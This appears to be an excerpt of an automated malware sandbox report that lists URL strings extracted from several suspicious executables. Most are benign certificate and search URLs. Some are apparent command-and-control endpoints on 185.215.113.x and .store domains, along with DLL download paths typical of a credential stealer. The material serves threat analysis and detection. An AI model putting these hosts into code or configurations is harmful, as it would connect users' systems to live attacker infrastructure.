Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: 2bbe886987.exe, 00000011.00000002.3359810844.00000000009BE000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpo
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllR
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll6
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllA
Source: 2bbe886987.exe, 00000011.00000002.3359810844.0000000000864000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllB
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllf
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Z
Source: 2bbe886987.exe, 00000011.00000002.3359810844.00000000009BE000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206entsf523b719729.phpion:
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.3372136479.000000000103B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php197001
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2
Source: skotes.exe, 0000000F.00000002.3372136479.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpS
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 0000000F.00000002.3372136479.0000000001077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php_
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpf
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnuN
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=m.exe
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 2bbe886987.exe, 00000011.00000002.3466145872.000000006C5FD000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 2bbe886987.exe, 00000011.00000002.3463597866.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 06339d0580.exe, 00000010.00000003.2910121036.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3078802286.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3349319074.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_448.20.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_448.20.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_448.20.dr	String found in binary or memory: https://apis.google.com
Source: fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp.28.dr	String found in binary or memory: https://assets.msn.com
Source: 06339d0580.exe, 00000010.00000003.2924636807.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2929205064.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp.28.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.27.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp.28.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_448.20.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_448.20.dr	String found in binary or memory: https://content.googleapis.com
Source: 06339d0580.exe, 00000010.00000003.2924636807.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2929205064.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 06339d0580.exe, 00000027.00000003.3289690622.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: 2cc80dabc69f58b6_0.27.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.27.dr	String found in binary or memory: https://docs.google.com/
Source: 06339d0580.exe, 00000010.00000003.3052944187.000000000831B000.00000004.00001000.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3403739193.0000000005E0C000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3466757307.000000006C881000.00000002.00000001.01000000.0000000D.sdmp, 2bbe886987.exe, 00000011.00000003.2914827071.00000000051DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3395872833.0000000005C1C000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3292954731.00000000081DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000018.00000002.3359791803.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000018.00000003.3096329749.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.17.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_448.20.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.27.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive.google.com/
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 06339d0580.exe, 00000027.00000003.3289690622.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/apibcryptPrimitives.dllB
Source: 06339d0580.exe, 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.st
Source: 06339d0580.exe, 00000010.00000003.2982854511.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3151512068.0000000000C34000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2924805231.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2929128943.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2928681667.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2924440913.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3366225288.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2928651411.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3213066599.0000000000B1C000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3211971458.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198997408.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3110837585.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3098097885.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3076922646.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198997408.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3341956182.0000000005F52000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/
Source: 06339d0580.exe, 00000027.00000003.3305928849.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/.
Source: 06339d0580.exe, 00000015.00000003.3198997408.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/5
